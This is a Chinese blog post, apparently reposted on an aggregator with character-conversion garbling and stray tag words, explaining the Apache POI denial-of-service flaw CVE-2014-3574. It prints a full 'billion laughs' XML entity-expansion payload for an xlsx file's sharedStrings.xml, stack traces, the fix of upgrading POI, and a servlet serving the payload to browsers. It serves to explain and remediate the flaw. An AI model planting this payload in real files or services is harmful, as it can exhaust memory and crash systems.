POI解析excel的漏洞(CVE-2014-3574)

1、概述前端

    最先的時候,java開發人員在操做excel的時候,用的最多的框架應該是poi、jxl。隨着office的不斷髮展,office2007開始支持openXML的協議,後續陸續出現了新的框架支持操做office,如docx4j等。openXML使得數據的結構、組成更加透明,能夠經過必定的操做看到內部完整的結構,若是仔細研究內部的屬性,還能夠進行更深層次的操做。固然,有利有弊,這也在必定程度上帶來了麻煩,由於文件能夠隨意的更改內部的組成,在必定程度上給相關係統形成麻煩。java

2、excel2007+的結構預覽web

關於更多openXML的信息,能夠搜索查閱。下面主要對於excel的目錄結構進行說明。apache

一、新建一個excel後端

要求爲2007或以上,能夠隨便填寫一些內容,而後將後綴更改成.zip,而後用壓縮軟件進行解壓,查看目錄結構,以下:瀏覽器

二、對xl目錄下的文件進行分析服務器


3、漏洞CVE-2014-3574現象app

    該漏洞可查看POI拒絕服務漏洞。該漏洞的本質是對xml進行解析的時候會進行N屢次的遞歸,有點死循環的現象,形成CPU瞬間100%。若是該漏洞被攻擊,可能致使業務不正常甚至服務器崩潰。若是是正常的office文件建立,是不會出現該問題的,只有在特定人爲狀況下,該漏洞纔可能出現。框架

4、結合代碼復現漏洞dom

    在第二點說明excel內部結構的時候,能夠看到內部有個shareStrings.xml,該文件主要用於常量字符串的定義。sheet.xml中會對該文件中的值進行依賴引用。因此要解析excel,事先確定須要先將常量進行解析。下面的漏洞是對該文件進行操做形成的。

一、使用POI進行解析

我使用的是POI3.8

import java.io.FileInputStream;

import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;

public class TestExcel {

	public static void main(String[] args) throws Exception{
		XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream("D:/test.xlsx")); 
		Sheet sheet = wb.getSheetAt(0);
		System.out.println(sheet.getPhysicalNumberOfRows());
	}
	
}

若是是新建立的文件,此處能夠正常打印出物理行數。

二、修改sharedStrings.xml,再進行運行

用zip打開excel文件,將sharedStrings.xml修改爲如下內容

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

再從新運行,能夠看到程序並不會很快的打印出物理行數,而是不斷的運行(若是加啓動參數verbose:gc,能夠看到內存的不斷回收)。過一下子以後程序報出內存溢出的錯誤。正常來講,這個excel文件只有幾K,應該是很快就能夠獲得結果,可是卻運行了這麼久,並且內存溢出,說明程序的某個地方可能進行了相似於死循環的狀況。

三、再次調整sharedStrings.xml並運行

sharedStrings.xml內容改成以下:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>

執行,發現程序拋出以下異常:

Exception in thread "main" org.apache.poi.POIXMLException: java.lang.reflect.InvocationTargetException
	at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:62)
	at org.apache.poi.POIXMLDocumentPart.read(POIXMLDocumentPart.java:403)
	at org.apache.poi.POIXMLDocument.load(POIXMLDocument.java:155)
	at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:190)
	at TestExcel.main(TestExcel.java:10)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39)
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27)
	at java.lang.reflect.Constructor.newInstance(Constructor.java:513)
	at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:60)
	... 4 more
Caused by: java.io.IOException: error: The document is not a sst@http://schemas.openxmlformats.org/spreadsheetml/2006/main: document element mismatch got lolz
	at org.apache.poi.xssf.model.SharedStringsTable.readFrom(SharedStringsTable.java:125)
	at org.apache.poi.xssf.model.SharedStringsTable.<init>(SharedStringsTable.java:102)
	... 9 more

此時沒有拋出異常,說明對該文件的解析已經完成,而且斷定了該文件的格式不正確。

四、分析

    首先對sharedStrings.xml中添加的內容進行分析。拿第二點的數據,<lolz>&lol9;</lolz>表明引用ENTITY lol9,而ENTITY lol9由10個lol8組成,每一個lol8又是由10個1ol7組成,因此將會一直的遞歸,次數會達到10^9。該次數可能致使機器短期內的CPU暴漲,據計算,須要將近3G的內存,因此運行的時候,程序會不斷在跑,最終拋出內存溢出的錯誤,若是在一臺內存足夠大的機器上,應該是CPU一直沾滿,程序一直在跑直到結束爲止;第3點的數據,因爲數據很小,只有10^2=100次的計算,因此程序很快就結束,繼續下面的流程時檢查到文件內的格式等錯誤,拋出了相應的異常。

五、解決方案

將POI升級到3.12能夠解決該問題,運行過程當中會拋出異常。運行剛剛的文件,會拋出異常

Exception in thread "main" java.lang.NullPointerException
	at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.setChunkIndex(DeferredDocumentImpl.java:1944)
	at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.appendChild(DeferredDocumentImpl.java:644)
	at com.sun.org.apache.xerces.internal.parsers.AbstractDOMParser.characters(AbstractDOMParser.java:1191)
	at com.sun.org.apache.xerces.internal.impl.dtd.XMLDTDValidator.characters(XMLDTDValidator.java:862)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:463)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:807)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:737)
	at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:107)
	at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:225)
	at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:283)
	at javax.xml.parsers.DocumentBuilder.parse(DocumentBuilder.java:124)
	at org.apache.poi.util.DocumentHelper.readDocument(DocumentHelper.java:96)
	at org.apache.poi.openxml4j.opc.internal.unmarshallers.PackagePropertiesUnmarshaller.unmarshall(PackagePropertiesUnmarshaller.java:108)
	at org.apache.poi.openxml4j.opc.OPCPackage.getParts(OPCPackage.java:713)
	at org.apache.poi.openxml4j.opc.OPCPackage.open(OPCPackage.java:275)
	at org.apache.poi.util.PackageHelper.open(PackageHelper.java:37)
	at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:266)
	at TestExcel.main(TestExcel.java:10)

5、擴展

若是前端請求,後端響應XML內容,XML的內容如上,結果會怎樣呢?測試代碼以下

public class TestServlet extends HttpServlet {

	@Override
	protected void service(HttpServletRequest req, HttpServletResponse resp)
			throws ServletException, IOException {
		resp.setContentType("text/xml;charset=utf-8");
		InputStream is = new FileInputStream(new File("d:/test.xml"));
		BufferedReader reader = new BufferedReader(new InputStreamReader(is));
		String s = null;
		while((s = reader.readLine())!=null){
			resp.getWriter().write(s);
		}
		reader.close();
		resp.getWriter().close();
	}
	
}
web.xml配置:
<servlet>
		<servlet-name>test</servlet-name>
		<servlet-class>TestServlet</servlet-class>
	</servlet>
	
	<servlet-mapping>
		<servlet-name>test</servlet-name>
		<url-pattern>/test.do</url-pattern>
	</servlet-mapping>

前端請求http://localhost:8080/poi/test.do若是xml文件的個數比較少,到lol2,則Chrome和IE均可以打開顯示內容:

,可是,若是將個數調整爲3個以上,則IE瀏覽器仍然會繼續渲染10^N,可是Chrome此時已經有了提示,說XML中存在循環:

相關文章
相關標籤/搜索